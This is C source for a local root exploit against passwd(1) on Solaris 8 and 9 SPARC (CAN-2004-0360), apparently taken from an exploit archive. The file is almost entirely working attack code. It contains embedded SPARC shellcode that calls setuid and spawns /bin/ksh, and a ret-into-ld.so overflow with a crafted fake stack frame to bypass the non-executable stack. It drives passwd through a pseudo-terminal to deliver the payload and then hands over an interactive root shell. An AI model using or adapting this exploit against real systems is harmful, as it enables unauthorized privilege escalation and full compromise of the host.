/* * $Id: raptor_passwd.c,v 1.1 2004/12/04 14:44:38 raptor Exp $ * * raptor_passwd.c - passwd circ() local, Solaris/SPARC 8/9 * Copyright (c) 2004 Marco Ivaldi * * Unknown vulnerability in passwd(1) in Solaris 8.0 and 9.0 allows local users * to gain privileges via unknown attack vectors (CAN-2004-0360). * * "Those of you lucky enough to have your lives, take them with you. However, * leave the limbs you've lost. They belong to me now." -- Beatrix Kidd0 * * This exploit uses the ret-into-ld.so technique, to effectively bypass the * non-executable stack protection (noexec_user_stack=1 in /etc/system). The * exploitation wasn't so straight-forward: sending parameters to passwd(1) * is somewhat tricky, standard ret-into-stack doesn't seem to work properly * for some reason (damn SEGV_ACCERR), and we need to bypass a lot of memory * references before reaching ret. Many thanks to Inode . * * Usage: * $ gcc raptor_passwd.c -o raptor_passwd -ldl -Wall * $ ./raptor_passwd * [...] * # id * uid=0(root) gid=1(other) egid=3(sys) * # * * Vulnerable platforms: * Solaris 8 with 108993-14 through 108993-31 and without 108993-32 [tested] * Solaris 9 without 113476-11 [tested] */ #include #include #include #include #include #include #include #include #include #include #include #define INFO1 "raptor_passwd.c - passwd circ() local, Solaris/SPARC 8/9" #define INFO2 "Copyright (c) 2004 Marco Ivaldi " #define VULN "/usr/bin/passwd" // target vulnerable program #define BUFSIZE 256 // size of the evil buffer #define VARSIZE 1024 // size of the evil env var #define FFSIZE 64 + 1 // size of the fake frame #define DUMMY 0xdeadbeef // dummy memory address #define CMD "id;uname -a;uptime;\n" // execute upon exploitation /* voodoo macros */ #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} char sc[] = /* Solaris/SPARC shellcode (12 + 48 = 60 bytes) */ /* setuid() */ "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* execve() */ "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; /* globals */ char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_addr(int addr, char *pattern); int find_pts(char **slave); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); void shell(int fd); int read_prompt(int fd, char *buf, int size); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], var[VARSIZE], ff[FFSIZE]; char platform[256], release[256], cur_pass[256], tmp[256]; int i, offset, ff_addr, sc_addr, var_addr; int plat_len, prog_len, rel; char *arg[2] = {"foo", NULL}; int arg_len = 4, arg_pos = 1; int pid, cfd, newpts; char *newpts_str; int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; int ret = search_ldso("strcpy"); int rwx_mem = search_rwx_mem(); /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* read command line */ if (argc != 2) { fprintf(stderr, "usage: %s current_pass\n\n", argv[0]); exit(1); } sprintf(cur_pass, "%s\n", argv[1]); /* get some system information */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); rel = atoi(release + 2); /* prepare the evil buffer */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; buf[sizeof(buf) - 2] = '\n'; /* prepare the evil env var */ memset(var, 'B', sizeof(var)); var[sizeof(var) - 1] = 0x0; /* prepare the fake frame */ bzero(ff, sizeof(ff)); /* * saved %l registers */ set_val(ff, i = 0, DUMMY); /* %l0 */ set_val(ff, i += 4, DUMMY); /* %l1 */ set_val(ff, i += 4, DUMMY); /* %l2 */ set_val(ff, i += 4, DUMMY); /* %l3 */ set_val(ff, i += 4, DUMMY); /* %l4 */ set_val(ff, i += 4, DUMMY); /* %l5 */ set_val(ff, i += 4, DUMMY); /* %l6 */ set_val(ff, i += 4, DUMMY); /* %l7 */ /* * saved %i registers */ set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */ set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */ set_val(ff, i += 4, DUMMY); /* %i2 */ set_val(ff, i += 4, DUMMY); /* %i3 */ set_val(ff, i += 4, DUMMY); /* %i4 */ set_val(ff, i += 4, DUMMY); /* %i5 */ set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */ set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ /* fill the envp, keeping padding */ ff_addr = add_env(var); /* var must be before ff! */ sc_addr = add_env(ff); add_env(sc); add_env(NULL); /* calculate the offset to argv[0] (voodoo magic) */ plat_len = strlen(platform) + 1; prog_len = strlen(VULN) + 1; offset = arg_len + env_len + plat_len + prog_len; if (rel > 7) VOODOO64(offset, arg_pos, env_pos) else VOODOO32(offset, plat_len, prog_len) /* calculate the needed addresses */ var_addr = sb - offset + arg_len; ff_addr += var_addr; sc_addr += var_addr; /* set fake frame's %i1 */ set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */ /* check the addresses */ check_addr(var_addr, "var_addr"); check_addr(ff_addr, "ff_addr"); /* fill the evil buffer */ for (i = 0; i < BUFSIZE - 4; i += 4) set_val(buf, i, var_addr); /* may need to bruteforce the distance here */ set_val(buf, 112, ff_addr); set_val(buf, 116, ret - 4); /* strcpy(), after the save */ /* fill the evil env var */ for (i = 0; i < VARSIZE - 4; i += 4) set_val(var, i, var_addr); set_val(var, 0, 0xffffffff); /* first byte must be 0xff! */ /* print some output */ fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using var address\t: 0x%p\n", (void *)var_addr); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); /* find a free pts */ cfd = find_pts(&newpts_str); /* fork() a new process */ if ((pid = fork()) < 0) { perror("fork"); exit(1); } /* parent process */ if (pid) { sleep(1); /* wait for password prompt */ if (read_prompt(cfd, tmp, sizeof(tmp)) < 0) { fprintf(stderr, "Error: timeout waiting for prompt\n"); exit(1); } if (!strstr(tmp, "ssword: ")) { fprintf(stderr, "Error: wrong prompt received\n"); exit(1); } /* send the current password */ write(cfd, cur_pass, strlen(cur_pass)); usleep(500000); /* wait for password prompt */ if (read_prompt(cfd, tmp, sizeof(tmp)) < 0) { fprintf(stderr, "Error: timeout waiting for prompt\n"); exit(1); } if (!strstr(tmp, "ssword: ")) { fprintf(stderr, "Error: wrong current_pass?\n"); exit(1); } /* send the evil buffer */ write(cfd, buf, strlen(buf)); usleep(500000); /* got root? */ if (read_prompt(cfd, tmp, sizeof(tmp)) < 0) { fprintf(stderr, "Error: timeout waiting for shell\n"); exit(1); } if (strstr(tmp, "ssword: ")) { fprintf(stderr, "Error: not vulnerable\n"); exit(1); } if (!strstr(tmp, "# ")) { fprintf(stderr, "Something went wrong...\n"); exit(1); } /* semi-interactive shell */ shell(cfd); /* child process */ } else { /* start new session and get rid of controlling terminal */ if (setsid() < 0) { perror("setsid"); exit(1); } /* open the new pts */ if ((newpts = open(newpts_str, O_RDWR)) < 0) { perror("open"); exit(1); } /* ninja terminal emulation */ ioctl(newpts, I_PUSH, "ptem"); ioctl(newpts, I_PUSH, "ldterm"); /* close the child fd */ close(cfd); /* duplicate stdin */ if (dup2(newpts, 0) != 0) { perror("dup2"); exit(1); } /* duplicate stdout */ if (dup2(newpts, 1) != 1) { perror("dup2"); exit(1); } /* duplicate stderr */ if (dup2(newpts, 2) != 2) { perror("dup2"); exit(1); } /* close the new pts */ if (newpts > 2) close(newpts); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); } exit(0); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return(env_len); } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return(env_len); } /* * check_addr(): check an address for 0x00, 0x04, 0x0a, 0x0d or 0x61-0x7a bytes */ void check_addr(int addr, char *pattern) { /* check for NULL byte (0x00) */ if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); exit(1); } /* check for EOT byte (0x04) */ if (((addr & 0xff) == 0x04) || ((addr & 0xff00) == 0x0400) || ((addr & 0xff0000) == 0x040000) || ((addr & 0xff000000) == 0x04000000)) { fprintf(stderr, "Error: %s contains a 0x04!\n", pattern); exit(1); } /* check for NL byte (0x0a) */ if (((addr & 0xff) == 0x0a) || ((addr & 0xff00) == 0x0a00) || ((addr & 0xff0000) == 0x0a0000) || ((addr & 0xff000000) == 0x0a000000)) { fprintf(stderr, "Error: %s contains a 0x0a!\n", pattern); exit(1); } /* check for CR byte (0x0d) */ if (((addr & 0xff) == 0x0d) || ((addr & 0xff00) == 0x0d00) || ((addr & 0xff0000) == 0x0d0000) || ((addr & 0xff000000) == 0x0d000000)) { fprintf(stderr, "Error: %s contains a 0x0d!\n", pattern); exit(1); } /* check for lowercase chars (0x61-0x7a) */ if ((islower(addr & 0xff)) || (islower((addr & 0xff00) >> 8)) || (islower((addr & 0xff0000) >> 16)) || (islower((addr & 0xff000000) >> 24))) { fprintf(stderr, "Error: %s contains a 0x61-0x7a!\n", pattern); exit(1); } } /* * find_pts(): find a free slave pseudo-tty */ int find_pts(char **slave) { int master; extern char *ptsname(); /* open master pseudo-tty device and get new slave pseudo-tty */ if ((master = open("/dev/ptmx", O_RDWR)) > 0) { grantpt(master); unlockpt(master); *slave = ptsname(master); return(master); } return(-1); } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); check_addr(addr - 4, sym); return(addr); } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address NULL bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return(addr_old); } /* * set_val(): copy a dword inside a buffer */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0xff000000) >> 24; buf[pos + 1] = (val & 0x00ff0000) >> 16; buf[pos + 2] = (val & 0x0000ff00) >> 8; buf[pos + 3] = (val & 0x000000ff); } /* * shell(): semi-interactive shell hack */ void shell(int fd) { fd_set fds; char tmp[128]; int n; /* quote from kill bill: vol. 2 */ fprintf(stderr, "\"Pai Mei taught you the five point palm exploding heart technique?\" -- Bill\n"); fprintf(stderr, "\"Of course.\" -- Beatrix Kidd0, alias Black Mamba, alias The Bride (KB Vol2)\n\n"); /* execute auto commands */ write(1, "# ", 2); write(fd, CMD, strlen(CMD)); /* semi-interactive shell */ for (;;) { FD_ZERO(&fds); FD_SET(fd, &fds); FD_SET(0, &fds); if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) { perror("select"); break; } /* read from fd and write to stdout */ if (FD_ISSET(fd, &fds)) { if ((n = read(fd, tmp, sizeof(tmp))) < 0) { fprintf(stderr, "Goodbye...\n"); break; } if (write(1, tmp, n) < 0) { perror("write"); break; } } /* read from stdin and write to fd */ if (FD_ISSET(0, &fds)) { if ((n = read(0, tmp, sizeof(tmp))) < 0) { perror("read"); break; } if (write(fd, tmp, n) < 0) { perror("write"); break; } } } close(fd); exit(1); } /* * read_prompt(): non-blocking read from fd */ int read_prompt(int fd, char *buf, int size) { fd_set fds; struct timeval wait; int n = -1; /* set timeout */ wait.tv_sec = 2; wait.tv_usec = 0; bzero(buf, size); FD_ZERO(&fds); FD_SET(fd, &fds); /* select with timeout */ if (select(FD_SETSIZE, &fds, NULL, NULL, &wait) < 0) { perror("select"); exit(1); } /* read data if any */ if (FD_ISSET(fd, &fds)) n = read(fd, buf, size); return n; } // milw0rm.com [2004-12-24]